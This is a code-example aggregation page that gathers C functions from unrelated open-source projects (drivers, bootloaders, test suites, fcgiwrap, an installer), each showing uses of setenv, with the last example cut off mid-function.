コード例 #1
0
ファイル: nvram2env.c プロジェクト: edgar-pek/PerspicuOS
static int
nvram2env_attach(device_t dev)
{
	struct nvram2env_softc * sc = device_get_softc(dev);
	struct nvram * nv;
	char *pair, *value, *assign;
	uint32_t sig, size, i;

	if (sc->bst == 0 || sc->addr == 0)
		return (ENXIO);

	if (bus_space_map(sc->bst, sc->addr, NVRAM_MAX_SIZE, 0,
		&sc->bsh) != 0)
		return (ENXIO);

	sig  = read_4(sc, 0);
	size = read_4(sc, 4);
#if 1
	if (bootverbose)
		device_printf(dev, " size=0x%05x maxsize=0x%05x\n", size, sc->maxsize);
#endif
	size = (size > sc->maxsize)?sc->maxsize:size;


	if (sig == sc->sig || (sc->flags & NVRAM_FLAGS_UBOOT))
	{

		/* align and shift size to 32bit size*/
		size += 3;
		size >>= 2;

		nv = malloc(size<<2, M_DEVBUF, M_WAITOK | M_ZERO);
		if (!nv)
			return (ENOMEM);

		for (i = 0; i < size; i ++)
			((uint32_t *)nv)[i] = read_4(sc, i<<2);

		if (sc->flags & NVRAM_FLAGS_BROADCOM) {
			device_printf(dev, "sig = %#x\n",  nv->sig);
			device_printf(dev, "size = %#x\n", nv->size);
		}

		if (!(sc->flags & NVRAM_FLAGS_NOCHECK)) {
			/* TODO: need checksum verification */
		}

		if (sc->flags & NVRAM_FLAGS_GENERIC)
			pair = (char*)nv+4;
		if (sc->flags & NVRAM_FLAGS_UBOOT)
			pair = (char*)nv+4;
		else if (sc->flags & NVRAM_FLAGS_BROADCOM)
			pair = (char*)nv+20;
		else
			pair = (char*)nv+4;

		for ( ; 
		    (u_int32_t)pair < ((u_int32_t)nv + size - 4); 
		    pair = pair + strlen(pair) + 1 + strlen(value) + 1 ) {

			if (pair && strlen(pair)) {

#if 0
				printf("ENV: %s\n", pair);
#endif
				/* hint.nvram.0. */
				assign = strchr(pair,'=');
				assign[0] = '\0';
				value = assign+1;
#if 1
				if (bootverbose)
					printf("ENV: %s=%s\n", pair, value);
#endif
				setenv(pair, value);

				if (strcasecmp(pair, "WAN_MAC_ADDR") == 0) {
					/* Alias for MAC address of eth0 */
					if (bootverbose)
						printf("ENV: aliasing "
						    "WAN_MAC_ADDR to ethaddr"
						    " = %s\n",  value);
					setenv("ethaddr", value);
				}
				else if (strcasecmp(pair, "LAN_MAC_ADDR") == 0){
					/* Alias for MAC address of eth1 */
					if (bootverbose)
						printf("ENV: aliasing "
						    "LAN_MAC_ADDR to eth1addr"
						    " = %s\n",  value);
					setenv("eth1addr", value);
				}

				if (strcmp(pair, "bootverbose") == 0)
					bootverbose = strtoul(value, 0, 0);
				if (strcmp(pair, "boothowto"  ) == 0)
					boothowto   = strtoul(value, 0, 0);
			}
			else
				break;
		}
		free(nv, M_DEVBUF);
	}
コード例 #2
0
ファイル: sdlos_os2.c プロジェクト: DarrenBranford/MAME4iOS
int osd_setenv(const char *name, const char *value, int overwrite)
{
	return setenv(name, value, overwrite);
}
コード例 #3
0
int android_misc_flash_check(void) {

	u32   misc_offset = 0;
	char  buffer[2048];

	misc_offset = (u32)sunxi_partition_get_offset_byname("misc");
	if(misc_offset == (u32)(-1))
	{
		puts("no misc partition is found\n");
		return 0;
	}	
	memset(buffer, 0, 2048);
#ifdef DEBUG
	printf("misc_offset  : %x\n", (int )misc_offset);
#endif
	sunxi_flash_read(misc_offset, 2048/512, buffer);
	memcpy(&misc_message, buffer, sizeof(misc_message));
#ifdef DEBUG
//	printf("misc.command  : %s\n", misc_message.command);
//	printf("misc.status   : %s\n", misc_message.status);
//	printf("misc.recovery : %s\n", misc_message.recovery);
#endif
	if(storage_type)
	{
		if(!strcmp(misc_message.command, "boot-recovery")) {
			/* there is a recovery command */
			puts("find boot recovery\n");
			setenv("bootcmd", "run setargs_mmc boot_recovery");
			puts("Recovery detected, will boot recovery\n");
			/* android recovery will clean the misc */
		}
		else{
			printf("bootcmd set setargs_mmc\n");
			setenv("bootcmd", "run setargs_mmc boot_normal");
		}
		if(!strcmp(misc_message.command, "boot-fastboot")) {
			/* there is a fastboot command */
			setenv("bootcmd", "run setargs_mmc boot_fastboot");
			puts("Fastboot detected, will enter fastboot\n");
			/* clean the misc partition ourself */
			memset(buffer, 0, 2048);
			sunxi_flash_write(misc_offset, 2048/512, buffer);
		}
	}
	else
	{
		if(!strcmp(misc_message.command, "boot-recovery")) {
			/* there is a recovery command */
			puts("find boot recovery\n");
			setenv("bootcmd", "run setargs_nand boot_recovery");
			puts("Recovery detected, will boot recovery\n");
			/* android recovery will clean the misc */
		}
        else
        if (!strcmp(misc_message.command, "usb-recovery")) {
		/* there is a recovery command */
		puts("find usb recovery\n");
		setenv("bootcmd", "run setargs_nand boot_recovery");
		puts("Recovery detected, will usb recovery\n");
		/* android recovery will clean the misc */
		}
		else{
			printf("bootcmd set setargs_nand\n");
			setenv("bootcmd", "run setargs_nand boot_normal");
		}

		if(!strcmp(misc_message.command, "boot-fastboot")) {
			/* there is a fastboot command */
			setenv("bootcmd", "run setargs_nand boot_fastboot");
			puts("Fastboot detected, will enter fastboot\n");
			/* clean the misc partition ourself */
			memset(buffer, 0, 2048);
			sunxi_flash_write(misc_offset, 2048/512, buffer);
		}
	}

	return 0;
}
コード例 #4
0
ファイル: external.c プロジェクト: ingted/cluster-glue
/* Run the command with op as command line argument(s) and return the exit
 * status + the output */
static int 
external_run_cmd(struct pluginDevice *sd, const char *op, char **output)
{
	const int		BUFF_LEN=4096;
	char			buff[BUFF_LEN];
	int			read_len = 0;
	int			status, rc;
	char * 			data = NULL;
	FILE *			file;
	char			cmd[FILENAME_MAX+64];
	struct stat		buf;
	int			slen;
	char *path, *new_path, *logtag, *savevar = NULL;
	int new_path_len, logtag_len;
	gboolean		nodata;

	rc = snprintf(cmd, FILENAME_MAX, "%s/%s", 
		STONITH_EXT_PLUGINDIR, sd->subplugin);
	if (rc <= 0 || rc >= FILENAME_MAX) {
		LOG(PIL_CRIT, "%s: external command too long.", __FUNCTION__);
		return -1;
	}
	
	if (stat(cmd, &buf) != 0) {
		LOG(PIL_CRIT, "%s: stat(2) of %s failed: %s",
			__FUNCTION__, cmd, strerror(errno));
                return -1;
        }

        if (!S_ISREG(buf.st_mode) 
	    || (!(buf.st_mode & (S_IXUSR|S_IXGRP|S_IXOTH)))) {
		LOG(PIL_CRIT, "%s: %s found NOT to be executable.",
			__FUNCTION__, cmd);
		return -1;
	}

	if (buf.st_mode & (S_IWGRP|S_IWOTH)) {
		LOG(PIL_CRIT, "%s: %s found to be writable by group/others, "
			"NOT executing for security purposes.",
			__FUNCTION__, cmd);
		return -1;
	}

	strcat(cmd, " ");
	strcat(cmd, op);

	/* We only have a global environment to use here. So we add our
	 * options to it, and then later remove them again. */
	if (sd->cmd_opts) {
		g_hash_table_foreach(sd->cmd_opts, ext_add_to_env, NULL);
	}

	/* external plugins need path to ha_log.sh */
	path = getenv("PATH");
	if (strncmp(GLUE_SHARED_DIR,path,strlen(GLUE_SHARED_DIR))) {
		new_path_len = strlen(path)+strlen(GLUE_SHARED_DIR)+2;
		new_path = (char *)g_malloc(new_path_len);
		snprintf(new_path, new_path_len, "%s:%s", GLUE_SHARED_DIR, path);
		setenv("PATH", new_path, 1);
		g_free(new_path);
	}

	/* set the logtag appropriately */
	logtag_len = strlen(PIL_PLUGIN_S)+strlen(sd->subplugin)+2;
	logtag = (char *)g_malloc(logtag_len);
	snprintf(logtag, logtag_len, "%s/%s", PIL_PLUGIN_S, sd->subplugin);
	if (getenv(LOGTAG_VAR)) {
		savevar = g_strdup(getenv(LOGTAG_VAR));
	}
	setenv(LOGTAG_VAR, logtag, 1);
	g_free(logtag);

	if (Debug) {
		LOG(PIL_DEBUG, "%s: Calling '%s'", __FUNCTION__, cmd );
	}
	file = popen(cmd, "r");
	if (NULL==file) {
		LOG(PIL_CRIT, "%s: Calling '%s' failed",
			__FUNCTION__, cmd);
		rc = -1;
		goto out;
	}

	if (output) {
		slen=0;
		data = MALLOC(1);
		data[slen] = EOS;
	}
	while (!feof(file)) {
		nodata = TRUE;
		if (output) {
			read_len = fread(buff, 1, BUFF_LEN, file);
			if (read_len > 0) {
				data = REALLOC(data, slen+read_len+1);
				if (data == NULL) {
					break;
				}
				memcpy(data + slen, buff, read_len);
				slen += read_len;
				data[slen] = EOS;
				nodata = FALSE;
			}
		} else {
			if (fgets(buff, BUFF_LEN, file)) {	
				LOG(PIL_INFO, "%s: '%s' output: %s", __FUNCTION__, cmd, buff);
				nodata = FALSE;
			}
		}
		if (nodata) {
			sleep(1);
		}
	}
	if (output && !data) {
		LOG(PIL_CRIT, "%s: out of memory", __FUNCTION__);
		rc = -1;
		goto out;
	}

	status = pclose(file);
	if (WIFEXITED(status)) {
		rc = WEXITSTATUS(status);
		if (rc != 0 && Debug) {
			LOG(PIL_DEBUG,
				"%s: Calling '%s' returned %d", __FUNCTION__, cmd, rc);
		}
	} else {
		if (WIFSIGNALED(status)) {
			LOG(PIL_CRIT, "%s: '%s' got signal %d",
				__FUNCTION__, cmd, WTERMSIG(status));
		} else if (WIFSTOPPED(status)) {
			LOG(PIL_INFO, "%s: '%s' stopped with signal %d",
				__FUNCTION__, cmd, WSTOPSIG(status));
		} else {
			LOG(PIL_CRIT, "%s: '%s' exited abnormally (core dumped?)",
				__FUNCTION__, cmd);
		}
		rc = -1;
	}
	if (Debug && output && data) {
		LOG(PIL_DEBUG, "%s: '%s' output: %s", __FUNCTION__, cmd, data);
	}

out:
	if (savevar) {
		setenv(LOGTAG_VAR, savevar, 1);
		g_free(savevar);
	} else {
		unsetenv(LOGTAG_VAR);
	}
	if (sd->cmd_opts)  {
		g_hash_table_foreach(sd->cmd_opts, ext_del_from_env, NULL);
	}
	if (!rc) {
		if (output) {
			*output = data;
		}
	} else {
		if (data) {
			FREE(data);
		}
		if (output) {
			*output = NULL;
		}
	}
	return rc;
}
コード例 #5
0
ファイル: iucvtty.c プロジェクト: hreinecke/s390-tools
/**
 * iucvtty_worker() - Handle an incoming client connection
 * @client:	Client file descriptor
 * @master:	PTY master file descriptor
 * @slave:	PTY slave file descriptor
 * @cfg:	IUCV TTY configuration structure.
 */
static int iucvtty_worker(int client, int master, int slave,
                          const struct iucvterm_cfg *cfg)
{
    int rc;
    struct iucvtty_msg *msg;
    pid_t child;
    fd_set set;
    size_t chunk;
    char term_env[TERM_BUFSIZE];


    /* flush pending terminal data */
    tcflush(master, TCIOFLUSH);

    /* read terminal parameters from client */
    if (iucvtty_rx_termenv(client, term_env, TERM_BUFSIZE))
        sprintf(term_env, TERM_DEFAULT);

    /* start login program */
    child = fork();
    if (child == -1) {
        print_error("Creating a new process to run the "
                    "login program failed");
        iucvtty_tx_error(client, ERR_FORK);
        return 1;	/* return from worker */
    }
    if (child == 0) {	/* child process */
        closelog();	/* close syslog */

        /* setup terminal */
        if (login_tty(slave)) {
            print_error("Setting up a terminal for user login failed");
            iucvtty_tx_error(client, ERR_SETUP_LOGIN_TTY);
            exit(2);
        }
        setenv("TERM", term_env, 1);
        if (exec_login_prog(cfg->cmd_parms)) {
            print_error("Running the login program failed");
            iucvtty_tx_error(client, ERR_CANNOT_EXEC_LOGIN);
        }
        exit(3);	/* we only reach here if exec has failed */
    }

    /* setup buffers */
    msg = malloc(MSG_BUFFER_SIZE);
    if (msg == NULL) {
        print_error("Allocating memory for the data buffer failed");
        rc = 2;
        goto out_kill_login;
    }

    /* multiplex i/o between login program and socket. */
    rc = 0;
    chunk = 0;
    while (!sig_shutdown) {
        FD_ZERO(&set);
        FD_SET(client, &set);
        FD_SET(master, &set);

        if (select(max(master, client) + 1, &set,
                   NULL, NULL, NULL) == -1) {
            if (errno == EINTR)
                continue;
            break;
        }

        if (FD_ISSET(client, &set)) {
            if (iucvtty_read_msg(client, msg,
                                 MSG_BUFFER_SIZE, &chunk))
                break;
            switch (msg->type) {
            case MSG_TYPE_DATA:
                iucvtty_copy_data(master, msg);
                break;
            case MSG_TYPE_WINSIZE:
                if (msg->datalen != sizeof(struct winsize))
                    break;
                if (ioctl(master, TIOCSWINSZ,
                          (struct winsize *) msg->data))
                    print_error("Resizing the terminal "
                                "window failed");
                break;
            case MSG_TYPE_TERMIOS:	/* ignored */
                break;
            case MSG_TYPE_ERROR:
                iucvtty_error(msg);
                break;
            }
        }

        if (FD_ISSET(master, &set))
            if (iucvtty_tx_data(client, master,
                                msg, MSG_BUFFER_SIZE))
                break;
    }
    free(msg);

out_kill_login:
    /* ensure the chld is terminated before calling waitpid:
     * - in case a sigterm has been received,
     * - or a sigchld from other than the chld
     */
    kill(child, SIGKILL);	/* cause a sigchld */
    waitpid(child, NULL, 0);

    return rc;
}
コード例 #6
0
ファイル: fatfs.c プロジェクト: Pedersen175/DAN-uMon
static int
fatfsQry(char *fatfspath, int verbose)
{
	DIRENT de;
	DIRINFO di;
	char *lastslash, *fname, *dir, pathcopy[80], matchname[80];
	int flen, flen1, fsize, pathlen, match, ftot;

	if (!fatfspath)
		return(-1);

	/* Prior to each 'ls', clear the content of the name and
	 * size shell variables...
	 */
	setenv(FATFS_FNAME_STR,0);
	setenv(FATFS_FSIZE_STR,0);
	setenv(FATFS_FTOT_STR,0);

	pathlen = strlen(fatfspath);
	if (pathlen > sizeof(pathcopy)) {
		printf("path too big\n");
		return(-1);
	}
	strcpy(pathcopy, fatfspath);
	lastslash = strrchr(pathcopy,DIR_SEPARATOR);

	if (lastslash == 0) {
		dir = "";
		fname = pathcopy;
	}
	else {
		*lastslash = 0;
		dir = pathcopy;
		fname = lastslash+1;
	}

	flen = strlen(fname);
	if (verbose > 1)
		printf("Qry opening dir <%s>, fname <%s>...\n",dir,fname);

	di.scratch = sector;
	if (DFS_OpenDir(&vi, (uint8_t *)dir, &di)) {
		printf("error opening subdirectory\n");
		return(CMD_FAILURE);
	}

	match = fsize = ftot = flen1 = 0;
	while (!DFS_GetNext(&vi, &di, &de)) {
		int i;
		char dosname[16];

		memset(dosname,0,sizeof(dosname));
		if (de.name[0] && ((de.attr & ATTR_LONG_NAME) != ATTR_LONG_NAME)) {
			if ((de.attr & ATTR_VOLUME_ID) || (de.attr & ATTR_DIRECTORY)) {
				for(i=0;i<8;i++) {
					if (de.name[i] != ' ') {
						dosname[i] = de.name[i];
					}
					else {
						dosname[i] = 0;
						break;
					}
				}
				dosname[8] = 0;
			}
			else
				DFS_DirToCanonical((uint8_t *)dosname,de.name);
	
			flen1 = strlen(dosname);

			if ((fname[0] == '*') && (fname[flen-1] == '*')) {
				fname[flen-1] = 0;
				if (strstr(dosname,fname+1))
					match = 1;
				fname[flen-1] = '*';
			}
			else if (fname[0] == '*') {
				if (!strcmp(dosname+(flen1-flen+1),fname+1))
					match = 1;
			}
			else if (fname[flen-1] == '*') {
				fname[flen-1] = 0;
				if (!strncmp(dosname,fname,flen-1))
					match = 1;
				fname[flen-1] = '*';
			}
			else if (!strcmp(dosname,fname)) {
				match = 1;
			}
			if (match) {
				strcpy(matchname,dosname);
				fsize = FILESIZE(de);
				ftot++;
				match = 0;
				if (verbose)
					printf("  %s (%d)\n",dosname,fsize);
			}
		}
	}
	shell_sprintf(FATFS_FTOT_STR,"%d",ftot);
	if (ftot) {
		shell_sprintf(FATFS_FSIZE_STR,"%d",fsize);
		setenv(FATFS_FNAME_STR,matchname);
	}
	return(0);
}
コード例 #7
0
int runPipeCommand(Command c){
	int i, j;
  pid_t pid;
  int in, fd [2];
	pid_t *pidList = (pid_t *) malloc(sizeof(pid_t) * c.commandc);

	setenv("PATH", envPaths, 1);

	/* original file descriptor 0. (not pipe) */
  in = 0;

  for (i = 0; i < c.commandc; ++i)
    {
      pipe(fd);

			Argument a = c.commandv[i];

			glob_t globBuffer;
			int matchCount=0;

			for(j = 0; j < a.argc; j++){
				char *newArgv = a.argv[j];
				if(matchCount == 0)
					glob(newArgv, GLOB_NOCHECK, NULL , &globBuffer );
				else
					glob(newArgv, GLOB_NOCHECK|GLOB_APPEND, NULL , &globBuffer );
				matchCount = globBuffer.gl_pathc;
			}

			if(i < c.commandc - 1){
	      pidList[i] = executeCommand(in, fd[1], globBuffer.gl_pathv);

	      close(fd[1]);
	      in = fd[0];
			}
			else{
				 if ((pidList[i] = fork ()) == 0){
			       if (in != 0){
			           dup2 (in, 0);
			       }
						 setSignal(1);
			       execvp (*globBuffer.gl_pathv, globBuffer.gl_pathv);
						 handleErrno(errno, globBuffer.gl_pathv[0]);
			   }
				 else{
					 int status;
					 int isHandledSuspension = 0;

					 for(j=0; j< 2; j++)
					  	close(fd[j]);

					 for(j=0; j<c.commandc; j++){
	 					  waitpid(pidList[j], &status, WUNTRACED);
							//printf("status: %d\n", status);
						 if(WIFSTOPPED(status)){
							 	if(!isHandledSuspension){
							  	printf("\n");
									suspendProcesses(pidList, c.commandc);
						      jobsNewNode(pidList, c.command, c.commandc);
									isHandledSuspension = 1;
								}
								//printf("%d: WIFSTOPPED - suspended by signal\n", pid);

							}
							else if(WIFSIGNALED(status)){
								if(!isHandledSuspension){
									printf("\n");
									isHandledSuspension = 1;
								}
								//printf("%d: WIFSIGNALED - terminated by signals\n", pid);
							}
							else if(WIFEXITED(status)){
								isHandledSuspension = 1;
								//printf("%d: WIFEXITED - terminated normally\n", pid);
							}
						}
				 }
			}



			globfree(&globBuffer);
    }

}
コード例 #8
0
ファイル: test-unit-name.c プロジェクト: ZeFeaR/systemd
static int test_unit_printf(void) {
        Manager *m;
        Unit *u, *u2;
        int r;

        _cleanup_free_ char *mid, *bid, *host, *root_uid;
        struct passwd *root;

        assert_se((mid = specifier_machine_id('m', NULL, NULL)));
        assert_se((bid = specifier_boot_id('b', NULL, NULL)));
        assert_se((host = gethostname_malloc()));

        assert_se((root = getpwnam("root")));
        assert_se(asprintf(&root_uid, "%d", (int) root->pw_uid) > 0);

        r = manager_new(SYSTEMD_USER, false, &m);
        if (r == -EPERM || r == -EACCES) {
                puts("manager_new: Permission denied. Skipping test.");
                return EXIT_TEST_SKIP;
        }
        assert(r == 0);

#define expect(unit, pattern, expected)                                 \
        {                                                               \
                char *e;                                                \
                _cleanup_free_ char *t =                                \
                        unit_full_printf(unit, pattern);                \
                printf("result: %s\nexpect: %s\n", t, expected);        \
                if ((e = endswith(expected, "*")))                      \
                        assert(strncmp(t, e, e-expected));              \
                else                                                    \
                        assert(streq(t, expected));                     \
        }

        assert_se(setenv("USER", "root", 1) == 0);
        assert_se(setenv("HOME", "/root", 1) == 0);

        assert_se(u = unit_new(m, sizeof(Service)));
        assert_se(unit_add_name(u, "blah.service") == 0);
        assert_se(unit_add_name(u, "blah.service") == 0);

        /* general tests */
        expect(u, "%%", "%");
        expect(u, "%%s", "%s");
        expect(u, "%", "");    // REALLY?

        /* normal unit */
        expect(u, "%n", "blah.service");
        expect(u, "%N", "blah");
        expect(u, "%p", "blah");
        expect(u, "%P", "blah");
        expect(u, "%i", "");
        expect(u, "%I", "");
        expect(u, "%u", root->pw_name);
        expect(u, "%U", root_uid);
        expect(u, "%h", root->pw_dir);
        expect(u, "%s", "/bin/sh");
        expect(u, "%m", mid);
        expect(u, "%b", bid);
        expect(u, "%H", host);
        expect(u, "%t", "/run/user/*");

        /* templated */
        assert_se(u2 = unit_new(m, sizeof(Service)));
        assert_se(unit_add_name(u2, "*****@*****.**") == 0);
        assert_se(unit_add_name(u2, "*****@*****.**") == 0);

        expect(u2, "%n", "*****@*****.**");
        expect(u2, "%N", "blah@foo-foo");
        expect(u2, "%p", "blah");
        expect(u2, "%P", "blah");
        expect(u2, "%i", "foo-foo");
        expect(u2, "%I", "foo/foo");
        expect(u2, "%u", root->pw_name);
        expect(u2, "%U", root_uid);
        expect(u2, "%h", root->pw_dir);
        expect(u2, "%s", "/bin/sh");
        expect(u2, "%m", mid);
        expect(u2, "%b", bid);
        expect(u2, "%H", host);
        expect(u2, "%t", "/run/user/*");

        manager_free(m);

        return 0;
}
コード例 #9
0
ファイル: test-posixtm.c プロジェクト: ystk/debian-gnulib
int
main (void)
{
    unsigned int i;
    int fail = 0;
    char curr_year_str[30];
    struct tm *tm;
    time_t t_now;
    int err;
    size_t n_bytes;

    /* The above test data requires Universal Time, e.g., TZ="UTC0".  */
    err = setenv ("TZ", "UTC0", 1);
    ASSERT (err == 0);

    t_now = time (NULL);
    ASSERT (t_now != (time_t) -1);
    tm = localtime (&t_now);
    ASSERT (tm);
    n_bytes = strftime (curr_year_str, sizeof curr_year_str, "%Y", tm);
    ASSERT (0 < n_bytes);

    for (i = 0; T[i].in; i++)
    {
        time_t t_out;
        time_t t_exp = T[i].t_expected;
        bool ok;

        /* Some tests assume that time_t is signed.
           If it is unsigned and the result is negative, skip the test. */
        if (T[i].t_expected < 0 && ! TYPE_SIGNED (time_t))
        {
            printf ("skipping %s: result is negative, "
                    "but your time_t is unsigned\n", T[i].in);
            continue;
        }

        if (T[i].valid && t_exp != T[i].t_expected)
        {
            printf ("skipping %s: result is out of range of your time_t\n",
                    T[i].in);
            continue;
        }

        /* If an input string does not specify the year number, determine
           the expected output by calling posixtime with an otherwise
           equivalent string that starts with the current year.  */
        if (8 <= strlen (T[i].in)
                && (T[i].in[8] == '.' || T[i].in[8] == '\0'))
        {
            char tmp_buf[20];
            stpcpy (stpcpy (tmp_buf, curr_year_str), T[i].in);
            ASSERT (posixtime (&t_exp, tmp_buf, T[i].syntax_bits));
        }

        ok = posixtime (&t_out, T[i].in, T[i].syntax_bits);
        if (ok != !!T[i].valid)
        {
            printf ("%s return value mismatch: got %d, expected %d\n",
                    T[i].in, !!ok, T[i].valid);
            fail = 1;
            continue;
        }

        if (!ok)
            continue;

        if (t_out != t_exp)
        {
            printf ("%s mismatch (-: actual; +:expected)\n-%12ld\n+%12ld\n",
                    T[i].in, t_out, t_exp);
            fail = 1;
        }
    }

    return fail;
}
コード例 #10
0
ファイル: ohpi_008.c プロジェクト: openhpi1/testrepo
int main(int argc, char **argv)
{
        SaHpiSessionIdT sid = 0;
        char *config_file = NULL;
        oHpiHandlerIdT hid0, hid1, hid2, hid3;
        GHashTable *h0 = g_hash_table_new(g_str_hash, g_str_equal),
                   *h1 = g_hash_table_new(g_str_hash, g_str_equal),
                   *h2 = g_hash_table_new(g_str_hash, g_str_equal),
                   *h3 = g_hash_table_new(g_str_hash, g_str_equal);
        
        /* Save config file env variable and unset it */
        config_file = getenv("OPENHPI_CONF");
        setenv("OPENHPI_CONF","./noconfig", 1);
        
        if (saHpiSessionOpen(1, &sid, NULL))
                return -1;
                    
        /* Load plugins */
        if (oHpiPluginLoad("libdummy"))
                return -1;
                
        if (oHpiPluginLoad("libwatchdog"))
                return -1;
                
        /* Set configuration for handlers and create them. */
        g_hash_table_insert(h0, "plugin", "libdummy");
        g_hash_table_insert(h0, "entity_root", "{SYSTEM_CHASSIS,1}");
        g_hash_table_insert(h0, "name", "test0");
        g_hash_table_insert(h0, "addr", "0");
        
        g_hash_table_insert(h1, "plugin", "libdummy");
        g_hash_table_insert(h1, "entity_root", "{SYSTEM_CHASSIS,2}");
        g_hash_table_insert(h1, "name", "test1");
        g_hash_table_insert(h1, "addr", "1");
        
        /* Set configuration for two handlers and create them. */
        g_hash_table_insert(h2, "plugin", "libwatchdog");
        g_hash_table_insert(h2, "entity_root", "{SYSTEM_CHASSIS,3}");
        g_hash_table_insert(h2, "addr", "0");
        
        g_hash_table_insert(h3, "plugin", "libwatchdog");
        g_hash_table_insert(h3, "entity_root", "{SYSTEM_CHASSIS,4}");
        g_hash_table_insert(h3, "addr", "1");
        
        if (oHpiHandlerCreate(h0,&hid0) || oHpiHandlerCreate(h1,&hid1))
                return -1;
                
        if (oHpiHandlerCreate(h2,&hid2) || oHpiHandlerCreate(h3,&hid3))
                return -1;
                
        if (oHpiHandlerDestroy(hid0) || oHpiHandlerDestroy(hid1))
                return -1;
                
        if (oHpiHandlerDestroy(hid2) || oHpiHandlerDestroy(hid3))
                return -1;
                
        if (oHpiPluginUnload("libdummy") || oHpiPluginUnload("libwatchdog"))
                return -1;
                
        /* Restore config file env variable */
        setenv("OPENHPI_CONF",config_file,1);                           
        
        return 0;
}
コード例 #11
0
ファイル: fcgiwrap.c プロジェクト: acieroid/fcgiwrap
char *get_cgi_filename() /* and fixup environment */
{
	int buflen = 1, docrootlen;
	char *buf = NULL;
	char *docroot, *scriptname, *p;

	int rf_len;
	char *pathinfo = NULL;

	if ((p = getenv("SCRIPT_FILENAME"))) {
		return strdup(p);
	}

	if ((p = getenv("DOCUMENT_ROOT"))) {
		docroot = p;
		docrootlen = strlen(p);
		buflen += docrootlen;
	} else {
		goto err;
	}

	if ((p = getenv("SCRIPT_NAME"))) {
		buflen += strlen(p);
		scriptname = p;
	} else {
		goto err;
	}

	buf = malloc(buflen);
	if (!buf) goto err;

	strcpy(buf, docroot);
	strcpy(buf + docrootlen, scriptname);
	pathinfo = strdup(buf);
	if (!pathinfo) {
		goto err;
	}

	while(1) {
		switch(check_file_perms(buf)) {
			case -EACCES:
				goto err;
			case 0:
				rf_len = strlen(buf);
				if (rf_len < buflen - 1) {
					setenv("PATH_INFO", pathinfo + rf_len, 1);
					setenv("SCRIPT_NAME", buf + docrootlen, 1);
				} else {
					unsetenv("PATH_INFO");
				}
				free(pathinfo);
				return buf;
			default:
				p = strrchr(buf, '/');
				if (!p) goto err;
				*p = 0;
		}
	}

err:
	free(pathinfo);
	free(buf);
	return NULL;
}
コード例 #12
0
bool InstallFiles()
{
    ButtonBar.Clear();
    ButtonBar.AddButton("C", "Cancel");
    ButtonBar.Draw();

    char *msg;
    char *dbuttons[2] = { GetTranslation("Continue"), GetTranslation("Exit program") };
    
    if ((InstallInfo.dest_dir_type == DEST_SELECT) || (InstallInfo.dest_dir_type == DEST_DEFAULT))
    {
        msg = CreateText(GetTranslation("This will install %s to the following directory:\n%s\nContinue?"),
                                   InstallInfo.program_name.c_str(), MakeCString(InstallInfo.dest_dir));
    }
    else
    {
        msg = CreateText(GetTranslation("This will install %s\nContinue?"), InstallInfo.program_name.c_str());
    }

    CCDKDialog Diag(CDKScreen, CENTER, CENTER, msg, dbuttons, 2);
    Diag.SetBgColor(26);
        
    int sel = Diag.Activate();
    
    Diag.Destroy();
    refreshCDKScreen(CDKScreen);
                
    if (sel == 1)
        return false;
    
    CCDKSWindow InstallOutput(CDKScreen, 0, 6, GetDefaultHeight()-5, -1,
                              CreateText("<C></29/B>%s", GetTranslation("Install output")), 2000);
    InstallOutput.SetBgColor(5);
    nodelay(WindowOf(InstallOutput.GetSWin()), true); // Make sure input doesn't block

    const int maxx = getmaxx(InstallOutput.GetSWin()->win);

    CCDKSWindow ProggWindow(CDKScreen, 0, 2, 5, maxx, NULL, 4);
    ProggWindow.SetBgColor(5);
    ProggWindow.AddText("");
    ProggWindow.AddText(CreateText("</B/29>%s:<!29!B>", GetTranslation("Status")));
    ProggWindow.AddText(CreateText("%s (1/%d)", GetTranslation("Extracting files"), InstallInfo.command_entries.size()+1),
                        true, BOTTOM, 24);
    
    CCDKHistogram ProgressBar(CDKScreen, 25, 3, 1, maxx-29, HORIZONTAL,
                              CreateText("<C></29/B>%s", GetTranslation("Progress")), false);
    ProgressBar.SetBgColor(5);
    ProgressBar.SetHistogram(vPERCENT, TOP, 0, 100, 0, COLOR_PAIR (24) | A_REVERSE | ' ', A_BOLD);
    
    setCDKSwindowLLChar(ProggWindow.GetSWin(), ACS_LTEE);
    setCDKSwindowLRChar(ProggWindow.GetSWin(), ACS_RTEE);
    
    InstallOutput.Draw();
    ProggWindow.Draw();
    
    // Check if we need root access
    char *passwd = NULL;
    LIBSU::CLibSU SuHandler;
    SuHandler.SetUser("root");
    SuHandler.SetTerminalOutput(false);

    bool askpass = false;
    
    for (std::list<command_entry_s *>::iterator it=InstallInfo.command_entries.begin();
        it!=InstallInfo.command_entries.end(); it++)
    {
        if ((*it)->need_root != NO_ROOT)
        {
            // Command may need root permission, check if it is so
            if ((*it)->need_root == DEPENDED_ROOT)
            {
                param_entry_s *p = GetParamByVar((*it)->dep_param);
                if (p && !WriteAccess(p->value))
                {
                    (*it)->need_root = NEED_ROOT;
                    if (!askpass) askpass = true;
                }
            }
            else if (!askpass) askpass = true;
        }
    }

    if (!askpass)
        askpass = !WriteAccess(InstallInfo.dest_dir);
    
    // Ask root password if one of the command entries need root access and root isn't passwordless
    if (askpass && SuHandler.NeedPassword())
    {
        CCDKEntry entry(CDKScreen, CENTER, CENTER,
                        GetTranslation("This installation requires root(administrator) privileges in order to continue\n"
                                       "Please enter the password of the root user"), "", 60, 0, 256, vHMIXED);
        entry.SetHiddenChar('*');
        entry.SetBgColor(26);

        while(1)
        {
            char *sz = entry.Activate();

            if ((entry.ExitType() != vNORMAL) || !sz || !sz[0])
            {
                if (YesNoBox(GetTranslation("Root access is required to continue\nAbort installation?")))
                    EndProg();
                refreshCDKScreen(CDKScreen);
            }
            else
            {
                if (SuHandler.TestSU(sz))
                {
                    passwd = strdup(sz);
                    for (short s=0;s<strlen(sz);s++) sz[s] = 0;
                    break;
                }

                for (short s=0;s<strlen(sz);s++) sz[s] = 0;
                entry.Clean();
                
                // Some error appeared
                if (SuHandler.GetError() == LIBSU::CLibSU::SU_ERROR_INCORRECTPASS)
                {
                    WarningBox(GetTranslation("Incorrect password given for root user\nPlease retype"));
                }
                else
                {
                    throwerror(true, GetTranslation("Could not use su to gain root access\n"
                               "Make sure you can use su(adding the current user to the wheel group may help)"));
                }
            }
        }
        // Restore screen
        entry.Destroy();
        refreshCDKScreen(CDKScreen);
    }

    short percent = 0;
    
    bool alwaysroot = false;
    if (!WriteAccess(InstallInfo.dest_dir))
    {
        CExtractAsRootFunctor Extracter;
        Extracter.SetUpdateProgFunc(SUUpdateProgress, &ProgressBar);
        Extracter.SetUpdateTextFunc(SUUpdateText, &InstallOutput);
        
